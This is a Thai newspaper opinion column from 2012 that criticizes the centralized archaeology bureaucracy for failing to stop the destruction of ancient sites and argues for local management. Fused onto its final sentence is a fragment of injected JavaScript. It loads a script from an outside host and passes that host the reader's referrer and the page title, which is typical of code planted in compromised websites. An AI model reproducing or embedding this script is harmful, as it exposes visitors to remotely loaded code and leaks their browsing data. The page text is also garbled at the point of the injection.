มติชนรายวัน ฉบับประจำวันอังคารที่ 27 พฤศจิกายน 2555

 

          โบราณสถานทั่วประเทศถูกบุกรุกทำลายโดยคนทั่วไปจนถึงพระสงฆ์ ทั้งในและนอกท้องถิ่นอย่างขนานใหญ่ ต่อเนื่องราว 50 ปีมาแล้ว (ก่อนหน้านี้ก็มีอย่างปกติ ไม่พิสดารเหมือนหลังๆ)

          เพราะการขยายตัวเติบโตด้านเศรษฐกิจตลาดแบบละโมบโลภมากเกินขนาดตามนโยบายรัฐบาลเผด็จการทหาร ต่อเนื่องถึงรัฐบาลพลเรือนสมัยต่อๆมา

          หน่วยงานทางการที่ควบคุมดูแลสงวนรักษาโบราณสถานเหล่านั้น มีข้าราชการ กับ“ข้าราชวิชาการ”ที่มักเรียกตนเองว่านักโบราณคดี ล้วนทำงานแบบอนุรักษนิยมสุดโต่ง มีทัศนะอย่างเจ้าขุนมูลนาย โดยมองเห็นว่าโบราณสถานในท้องถิ่นทั่วประเทศ ล้วนเป็นสมบัติของทางการทั้งหมด ไม่ใช่ของคนท้องถิ่น

          แล้วเหยียดคนท้องถิ่นลงเป็นไพร่ข้าไม่รู้ประสีประสา“ราชวิชาการ” และไม่มีศักยภาพจะดูแลรักษาโบราณสถานในท้องถิ่นของตนได้เทียมเท่าข้าราชการหน่วยงานนั้น

          จึงมุ่งเน้นเข้มงวดใช้อำนาจตามกฎหมาย ด้วยหวังจะควบคุมดูแลสงวนรักษาโบราณสถานทั่วประเทศอย่างเบ็ดเสร็จเด็ดขาดแต่เพียงผู้เดียวและพวกเดียว

          ผล คือ ไม่สำเร็จ

          แต่กลับมีขบวนบุกรุกทำลายหนักมากกว่าเดิม เพราะสังคมและเศรษฐกิจขยายตัวมากขึ้นเรื่อยๆ ไม่ลดลง แล้วผู้มีอิทธิพลในเครื่องแบบต้องการผลประโยชน์จากที่ดินเหล่านั้น ดังกรณีการขยายตัวของเมืองเชียงใหม่ ซึ่งนักโบราณคดีทางการรู้ดีกว่าใคร

          นักวิชาการต่างสาขาจำนวนมากสมัยต่อมา ทั้งเขียนบทความวิชาการ ทั้งบรรยายเสวนาอภิปราย เรียกร้องว่าการบริหารแบบรวมศูนย์ซึ่งมีความจำเป็นในยุคสมัยที่มีการล่าอาณานิคมเชิงดินแดน บัดนี้หมดความจำเป็นแล้ว

          สถานการณ์ในโลกปัจจุบันกลับเกิดความจำเป็นที่จะต้องให้ท้องถิ่นมีอำนาจในการปกครองตนเองมากขึ้น เพื่อกำหนดและกำกับให้การพัฒนาสอดคล้องกับศักยภาพของคนในท้องถิ่น

          ฉะนั้น ต้องทยอยลดอำนาจส่วนกลาง แล้วเพิ่มอำนาจท้องถิ่นให้ดูแลรักษาโบราณสถานของตน จนในที่สุดก็โอนให้ท้องถิ่นดูแลทั้งหมด หรือดูแลบางส่วนร่วมกันก็ได้ ขึ้นอยู่กับความพร้อมของท้องถิ่นนั้นๆ โดยมีหน่วยงานทางการและสถาบันการ ศึกษาประคับประคองทำนองพี่เลี้ยงทางวิชาการประวัติศาสตร์โบราณคดี

          ขณะเดียวกันทางการส่วนกลางต้องขยันแบ่งปันเผยแพร่ข้อมูลความรู้เกี่ยวกับโบราณสถานนั้นๆ อย่างสม่ำเสมอต่อเนื่องตลอดไป เพื่อให้คนท้องถิ่นกับคนทั่วไปรู้จักและเข้าใจ ซึ่งจะกระตุ้นให้มีสำนึกหวงแหน แล้วร่วมกันดูแลรักษาโบราณสถานต่างๆขึ้นเองไม่วันใดก็วันหนึ่ง แม้จะใช้เวลายาวนานก็ต้องอดทน

          แต่หน่วยงานทางการที่เกี่ยวข้องโบราณสถานโดยตรงไม่ยอมปรับวิธีคิดและวิธีทำ จึงยังรักษาคุณสมบัติอนุรักษนิยมสุดโต่งเป็นเจ้าขุนมูลนายรวมศูนย์อำนาจเหมือนยุคอาณานิคมไว้ไม่เปลี่ยน

          แม้พยายามจำยอมสร้างเครือข่ายด้วยวิธีอบรมอาสาสมัครพิทักษ์โบราณสถาน  แต่ไม่ได้ผล เพราะเป็นแค่กิจกรรมเด็กเล่นขายของที่มีผักชีโรยหน้า ของผู้มีอำนาจที่ชอบแสดงตัวยกตนเป็นเจ้าขุนมูลนายเท่านั้น แต่ไม่มีสำนึกยกย่องคนท้องถิ่นอย่างแท้จริง

          หากยังไม่แก้ไขเปลี่ยนวิธีคิดและวิธีทำ ก็ไม่มีวันสร้างเครือข่ายสำเร็จตามที่ผู้บริหารให้สัมภาษณ์ไว้

          เว้นเสียแต่สำคัญผิดคิดตีขลุมเอาเองฝ่ายเดียวเพื่อแสดงตัวตามกระแสสังคม

          ไม่จำเพาะโบราณสถานเท่านั้น แต่รวมถึงอย่างอื่นๆ ที่เรียกรวมๆ ว่าวัฒนธรรม ซึ่งหน่วยงานของทางการดูแลอยู่ ล้วนมีความสำคัญอย่างยิ่ง และต้องการการบริหารจัดการอย่างใหม่ที่ไม่รวมศูนย์อำนาจ และไม่เจ้าขุนมูลนายดังเป็นอยู่ทุกวันนี้ซึ่งหวังยากยิ่งจะทำได้จริง

          ท้องถิ่นต้องจัดการตนเอง ถ้ายังจัดการตนเองไม่ได้ ก็ป้องกันการบุกรุกทำลายโบราณสถานไม่สำเร็จs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;